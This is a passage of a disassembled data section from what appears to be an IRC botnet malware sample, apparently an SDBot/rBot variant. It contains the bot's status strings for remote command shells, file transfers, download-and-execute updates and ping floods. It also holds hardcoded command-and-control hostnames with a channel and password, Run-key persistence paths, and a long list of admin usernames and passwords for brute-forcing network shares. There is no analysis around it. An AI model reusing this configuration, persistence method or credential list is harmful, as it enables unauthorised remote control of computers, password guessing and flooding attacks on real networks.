db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
align 4
unk_42B46C db 2 ; DATA XREF: sub_40A217+13Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 4
unk_42B4AC db 2 ; DATA XREF: sub_40A217+6Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 4
dword_42B4E8 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40A3A3+1C6o
dd 2029206Ch, 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 4
dword_42B528 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40A3A3+8Eo
dd 2029206Ch, 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 4
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40A621+33o
dword_42B574 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A6A8:loc_40A7DAo
dd 2029206Ch, 2BBBB02h
aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0
align 4
dword_42B5B8 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A6A8+10Fo
dd 2029206Ch, 2BBBB02h
aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0
align 4
dword_42B5F4 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A6A8:loc_40A78Eo
dd 2029206Ch, 2BBBB02h
aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0
align 4
dword_42B638 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A7FD+194o
dd 2029206Ch, 2BBBB02h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 10h
dword_42B680 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A7FD+14Co
dd 2029206Ch, 2BBBB02h
aRemoteCommandP db ' Remote Command Prompt',0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40A7FD+21o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40A9B2+52o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40AAD1+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 10h
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40AAD1+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40AAD1:loc_40AC35o
align 4
word_42B7C4 dw 3Fh ; DATA XREF: sub_40AAD1:loc_40ABD3r
; sub_40C297+1Fo
align 4
dword_42B7C8 dd 28207325h, 297325h ; DATA XREF: sub_40AAD1+EBo
dword_42B7D0 dd 3F3F3Fh ; DATA XREF: sub_40AAD1:loc_40AB94o
; .nsp0:loc_414341o
a2003 db '2003',0 ; DATA XREF: sub_40AAD1+BAo
; .nsp0:0042C488o ...
align 4
aXp db 'XP',0 ; DATA XREF: sub_40AAD1+AAo
; .nsp0:0041432Co ...
align 10h
a2k db '2K',0 ; DATA XREF: sub_40AAD1+98o
; .nsp0:0041431Co
align 4
aMe db 'ME',0 ; DATA XREF: sub_40AAD1+7Eo
; .nsp0:00414303o
align 4
a98 db '98',0 ; DATA XREF: sub_40AAD1+6Co
; .nsp0:004142F3o
align 4
aNt db 'NT',0 ; DATA XREF: sub_40AAD1+5Ao
; .nsp0:004142E3o
align 10h
a95 db '95',0 ; DATA XREF: sub_40AAD1+46o
; .nsp0:004142D5o
align 4
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40AD85+ABo
align 4
off_42B834 dd offset loc_412F4C+2 ; DATA XREF: sub_40AD85:loc_40ADF9o
dword_42B838 dd 4E414Ch ; DATA XREF: sub_40AD85:loc_40ADF2o
dword_42B83C dd 6C616944h, 70752Dh ; DATA XREF: sub_40AD85+5Bo
dword_42B844 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40AD85+48o
unk_42B854 db 2 ; DATA XREF: sub_40AE4B:loc_40B004o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToConnec db 'Failed to connect to HTTP server.',0
align 4
unk_42B898 db 2 ; DATA XREF: sub_40AE4B:loc_40AFFDo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldNotOpenAC db 'Could not open a connection.',0
align 4
dword_42B8D8 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40AE4B+1A0o
dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h, 2064696Ch
dd 2E4C5255h, 0
unk_42B908 db 2 ; DATA XREF: sub_40AE4B:loc_40AFDEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0
align 4
dword_42B958 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40AE4B+18Co
dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h, 69736976h
dd 2E646574h, 0
dword_42B988 dd 2A2F2Ah ; DATA XREF: sub_40AE4B+3Bo
dword_42B98C dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40B0F5+35o
dword_42B998 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40B0F5+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B16D+60o
align 4
dword_42B9CC dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
; DATA XREF: sub_40B20D+1Ao
dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42BA04 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40B27F+DCo
dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh
dd 2E657465h, 0
dword_42BA34 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40B27F+3Fo
dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h
dword_42BA58 dd 80000002h, 42C26Ch, 80000002h, 42C29Ch, 80000001h, 42C2D4h
; DATA XREF: sub_40B3AE+7o
dword_42BA70 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B3AE+63o
; sub_40B551+170o
dd 2029206Ch, 2BBBB02h
aFailedToSendTo db ' Failed to send to Remote command shell.',0
align 4
dword_42BAB8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B551+ABo
dd 2029206Ch, 2BBBB02h
aFailedToOpenRe db ' Failed to open remote command shell.',0
align 4
dword_42BAFC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B551+47o
; sub_40B712+FDo
dd 2029206Ch, 2BBBB02h
aFailedToOpenSo db ' Failed to open socket.',0
align 4
dword_42BB34 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+362o
; sub_40BAB4+156o
dd 2029206Ch, 2BBBB02h, 6F532020h, 74656B63h, 72726520h
dd 2E726Fh
dword_42BB60 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+2FAo
dd 2029206Ch, 2BBBB02h
aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BBB4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+202o
dd 2029206Ch, 2BBBB02h
aUnableToOpenSo db ' Unable to open socket.',0
align 4
dword_42BBEC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+1CBo
dd 2029206Ch, 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h
dd 2E7475h
dword_42BC18 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40B712+16Ao
dd 169h
dword_42BC30 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+127o
dd 2029206Ch, 2BBBB02h
aFileDoesnTExis db ' File doesn',27h,'t exist.',0
align 4
dword_42BC64 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+82o
dd 2029206Ch, 2BBBB02h
aFailedToBindTo db ' Failed to bind to socket.',0
dword_42BC9C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B712+44o
dd 2029206Ch, 2BBBB02h
aFailedToCreate db ' Failed to create socket.',0
align 4
dword_42BCD4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40BAB4+1CFo
dd 2029206Ch, 2BBBB02h
aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0
align 4
dword_42BD2C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40BAB4+CBo
dd 2029206Ch, 2BBBB02h
aErrorOpeningSo db ' Error opening socket.',0
dword_42BD60 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40BAB4+ABo
dd 2029206Ch, 2BBBB02h
aErrorOpeningFi db ' Error opening file for writing.',0
align 10h
aAB db 'a+b',0 ; DATA XREF: sub_40BAB4+97o
dword_42BDA4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40BAB4+83o
dd 2029206Ch, 2BBBB02h
aErrorUnableToW db ' Error unable to write file to disk.',0
align 4
unk_42BDE8 db 2 ; DATA XREF: sub_40BCEF+493o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 4
unk_42BE28 db 2 ; DATA XREF: sub_40BCEF+485o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
unk_42BE74 db 2 ; DATA XREF: sub_40BCEF+3C9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
dword_42BEC8 dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
; DATA XREF: sub_40BCEF+358o
dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h
dd 25203A64h, 2E73h
aOpen db 'open',0 ; DATA XREF: sub_40BCEF+336o
; sub_40CE55+2A37o ...
align 10h
unk_42BF00 db 2 ; DATA XREF: sub_40BCEF+2E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 4
unk_42BF4C db 2 ; DATA XREF: sub_40BCEF+262o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 4
unk_42BF88 db 2 ; DATA XREF: sub_40BCEF+1D8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 10h
unk_42BFD0 db 2 ; DATA XREF: sub_40BCEF+195o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 4
unk_42C014 db 2 ; DATA XREF: sub_40BCEF+183o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
align 10h
unk_42C060 db 2 ; DATA XREF: sub_40BCEF+77o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_40C297:loc_40C2DAo
; sub_413627+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_40C297:loc_40C2D4o
aDisk db 'Disk',0 ; DATA XREF: sub_40C297:loc_40C2CEo
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_40C297:loc_40C2C8o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_40C297:loc_40C2C2o
align 4
aRam db 'RAM',0 ; DATA XREF: sub_40C297:loc_40C2BCo
aFailed db 'failed',0 ; DATA XREF: sub_40C328:loc_40C400o
; sub_40C443+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_40C328+6Bo
align 4
dword_42C0D8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C443+8Eo
dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 4
dword_42C128 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C443+58o
dd 2029206Ch, 2BBBB02h
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
align 4
aA_0 db 'A:\',0 ; DATA XREF: sub_40C515:loc_40C55Ao
dword_42C17C dd 1A0Bh ; DATA XREF: sub_40C682+3ADr
; sub_40C682+460r
dword_42C180 dd 1B58h ; DATA XREF: sub_40C682+4ACr
dword_42C184 dd 1AA6h ; DATA XREF: sub_40CE55:loc_412647r
dword_42C188 dd 0CCEh ; DATA XREF: sub_407276+3Br
; sub_40CE55+4E69r
dword_42C18C dd 158Dh ; DATA XREF: sub_407276:loc_407525r
; sub_40CE55:loc_411DB0r
dword_42C190 dd 1 ; DATA XREF: sub_40C682+29r
dword_42C194 dd 1 ; DATA XREF: sub_40CE55+662r
dword_42C198 dd 1 ; DATA XREF: sub_409E15+Cr
; sub_40C682:loc_40C9BBr
byte_42C19C db 78h ; DATA XREF: sub_40C1E1:loc_40C1EDr
; sub_40CE55+AF6r ...
align 10h
dword_42C1A0 dd 9 ; DATA XREF: sub_4140C8+2Br
; sub_4140C8+51r ...
dword_42C1A4 dd 1 ; DATA XREF: sub_40CB75+78r
; sub_40CE55+27Cr ...
aIdsppn db 'idsppn',0 ; DATA XREF: sub_40C682+67o
; sub_40CE55+3D0Fo ...
align 10h
aEnz9_9b db 'enz 9.9b',0 ; DATA XREF: sub_40CE55:loc_41285Fo
align 4
aHi db 'hi',0 ; DATA XREF: sub_40CE55+5B8Do
; sub_40CE55+5C5Co
align 10h
aHome_najd_us db 'home.najd.us',0 ; DATA XREF: sub_40C682+398o
; sub_40C682+451o
align 10h
aDd_0 db '#dd',0 ; DATA XREF: sub_40C682+3B9o
; sub_40C682+467o
aDpass db 'dpass',0 ; DATA XREF: sub_40C682+3D0o
; sub_40C682+479o
align 4
byte_42C1DC db 68h ; DATA XREF: sub_40C682:loc_40CB11r
; sub_40C682+49Do
aOme_paltalkdc_ db 'ome.paltalkdc.com',0
align 10h
aDd_1 db '#dd',0 ; DATA XREF: sub_40C682+4B3o
aDpass_0 db 'dpass',0 ; DATA XREF: sub_40C682+4C5o
align 4
byte_42C1FC db 54h ; DATA XREF: sub_40283D+84o
; sub_403178+Fo ...
db 69h, 6Ch, 65h
dd 6E6D6F63h, 6F632E75h, 6Dh
dword_42C20C dd 636C6574h, 756E6D6Fh, 6C6C642Eh, 0 ; DATA XREF: sub_40211A+3Do
dword_42C21C dd 54204350h, 63656C69h, 756E6D6Fh, 0 ; DATA XREF: sub_40B3AE+Eo
dword_42C22C dd 2D554Eh, 656C6954h, 6E6D6F63h, 6F632E75h, 6Dh ; DATA XREF: sub_4140C8+12o
dword_42C240 dd 692B782Bh, 0 ; DATA XREF: sub_40CE55+5CD5o
dword_42C248 dd 756E23h ; DATA XREF: sub_40CE55:loc_40FFA6o
; sub_40CE55+4CCFo ...
dword_42C24C dd 737323h ; DATA XREF: sub_40CE55+1DBBo
dword_42C250 dd 737323h ; DATA XREF: sub_40CE55+1C04o
a58730 db '58730',0 ; DATA XREF: sub_40283D+9Ao
align 4
aDd db 'dd',0 ; DATA XREF: sub_40283D+95o
align 10h
aDd_ db 'dd.',0 ; DATA XREF: sub_40283D+90o
off_42C264 dd offset a@room ; DATA XREF: sub_40CE55:loc_412A3Eo
; "*@room"
off_42C268 dd offset aMirc1_6_99 ; DATA XREF: sub_40CE55+8C6r
; sub_40CE55+5C05o
; "mirc 1.6.99"
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4146BA+28o
; sub_4149DE+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4146BA+D4o
; sub_4149DE+D4o
align 4
dd offset aAdministrato_0 ; "Administrator"
dd offset aAdministrator ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd offset aUser_0 ; "USER"
dd offset aUser ; "user"
dd offset aSysadmin ; "sysadmin"
dd offset aGuest ; "Guest"
dd offset aBackup ; "backup"
dd 0
off_42C37C dd offset byte_438FDC ; DATA XREF: sub_404F08:loc_404FBDr
; sub_404F08+C2o
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrato_0 ; "Administrator"
dd offset aAdministrator ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup_0 ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
dd offset aPepsi ; "pepsi"
dd offset aLocal ; "LOCAL"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "Changeme"
dd offset aTemp123 ; "temp123"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a654321 ; "654321"
dd offset a54321 ; "54321"
dd offset a111 ; "111"
dd offset a11111111 ; "11111111"
dd offset a88888888 ; "88888888"
dd offset aPass_0 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset aOracle ; "oracle"
dd offset aSybase ; "sybase"
dd offset a123qwe ; "123qwe"
dd offset aComputer ; "computer"
dd offset aInternet ; "Internet"
dd offset aSuper ; "super"
dd offset a123asd ; "123asd"
dd offset aIhavenopass ; "ihavenopass"
dd offset aGodblessyou ; "godblessyou"
dd offset aEnable ; "enable"
dd offset aXp_0 ; "xp"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2600 ; "2600"
dd offset a110 ; "110"
dd offset a111111 ; "111111"
dd offset a121212 ; "121212"
dd offset a123123 ; "123123"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a007 ; "007"
dd offset aAlpha ; "alpha"
dd offset aPatrick ; "patrick"
dd offset aPat ; "pat"
dd offset aSex_0 ; "sex"
dd offset aGod ; "god"
dd offset aFoobar ; "foobar"
dd offset aNilez ; "Nilez"
dd offset aDevil ; "devil"
dd offset aNetdevil ; "netdevil"
dd offset aNetDevil ; "net-devil"
dd offset a0wned ; "0wned"
dd offset aOwned ; "owned"
dd offset aIrule ; "irule"
dd offset aNetfuck ; "netfuck"
dd offset aFucked ; "fucked"
dd offset aCrash ; "crash"
dd offset aA_1 ; "a"
dd offset aAaa ; "aaa"
dd offset aAbc ; "abc"
dd offset aTest123 ; "test123"
dd offset aWin ; "win"
dd offset aPc ; "pc"
dd offset aAsdf ; "asdf"
dd offset aSecret ; "secret"
dd offset aQwer ; "qwer"
dd offset aYxcv ; "yxcv"
dd offset aZxcv ; "zxcv"
dd offset aHome ; "home"
dd offset aLogin ; "login"
dd offset aPwd ; "pwd"
dd offset aLove ; "love"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aAdmin123 ; "admin123"
dd offset aPw123 ; "pw123"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aPw ; "pw"
dd offset aMat ; "Mat"
dd offset aMatt ; "Matt"
dd offset aMatthew ; "Matthew"
dd offset aGobo ; "gobo"
dd offset aSatan ; "satan"
dd offset aSatanik ; "satanik"
dd offset aSatanic ; "satanic"
dd offset aSpaceman ; "spaceman"
dd offset aHeaven ; "heaven"
dd offset aW00t ; "w00t"
dd offset a0wn3d ; "0wn3d"
dd offset aKiller ; "killer"
dd offset aLeet ; "leet"
dd offset aL33t ; "l33t"
dd offset aL337 ; "l337"
dd offset aHacker ; "hacker"
dd offset aHax0r ; "hax0r"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aKiddie ; "kiddie"
dd offset aMirc_0 ; "mirc"
dd offset aUwontguessme ; "uwontguessme"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aGuessme ; "guessme"
dd offset asc_432C6C ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset dword_4263F0
dd offset a00 ; "00"
dd offset aDeath ; "death"
dd offset aTesting ; "testing"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset aAcademia ; "academia"
dd offset aAcademic ; "academic"
dd offset aAccept ; "accept"
dd offset aAccount ; "account"
dd offset aAction ; "action"
dd offset aAdam ; "adam"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlex ; "alex"
dd offset aAlexande ; "alexande"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlphabet ; "alphabet"
dd offset aAmadeus ; "amadeus"
dd offset aAmanda ; "amanda"
dd offset aAmber ; "amber"
dd offset aAmerica ; "america"
dd offset aAmorphou ; "amorphou"
dd offset aAnal ; "anal"
dd offset aAnalog ; "analog"
dd offset aAnarchis ; "anarchis"
dd offset aAnarchy ; "anarchy"
dd offset aAnchor ; "anchor"
dd offset aAndrea ; "andrea"
dd offset aAndroid ; "android"
dd offset aAndromac ; "andromac"
dd offset aAndy ; "andy"
dd offset aAnfo ; "anfo"
dd offset aAngela ; "angela"
dd offset aAngerine ; "angerine"
dd offset aAngie ; "angie"
dd offset aAnimal ; "animal"
dd offset aAnimals ; "animals"
dd offset aAnita ; "anita"
dd offset aAnna ; "anna"
dd offset aAnne ; "anne"
dd offset aAnnette ; "annette"
dd offset aAnon ; "anon"
